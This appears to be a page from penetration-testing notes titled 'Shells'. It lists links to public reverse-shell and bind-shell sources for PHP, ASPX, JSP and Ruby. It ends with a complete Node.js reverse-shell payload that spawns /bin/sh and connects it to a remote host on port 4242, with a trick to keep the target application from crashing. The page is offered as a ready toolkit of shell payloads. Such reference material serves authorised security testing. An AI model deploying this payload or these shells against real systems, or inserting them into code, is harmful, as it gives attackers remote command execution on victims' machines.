> For the complete documentation index, see [llms.txt](https://n3mosec.gitbook.io/pentest-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n3mosec.gitbook.io/pentest-notes/notes/methodologies-and-tools/tools/shells.md).

# Shells

* revshells.com

### PHP Reverse Shell

<https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php>

<https://github.com/ivan-sincek/php-reverse-shell>

<https://github.com/Dhayalanb/windows-php-reverse-shell>

&#x20;

### ASPX Shell

<https://github.com/borjmz/aspx-reverse-shell>

&#x20;

### JSP Reverse Shell

<https://github.com/tennc/webshell/blob/master/jsp/jsp-reverse.jsp>

&#x20;

### Ruby

* Reverse

<https://github.com/secjohn/ruby-shells/blob/master/revshell.rb>

* Bind

<https://github.com/secjohn/ruby-shells/blob/master/shell.rb>

&#x20;

### JS-encapsulated Payload

```
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4242, "10.0.0.1", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();
```
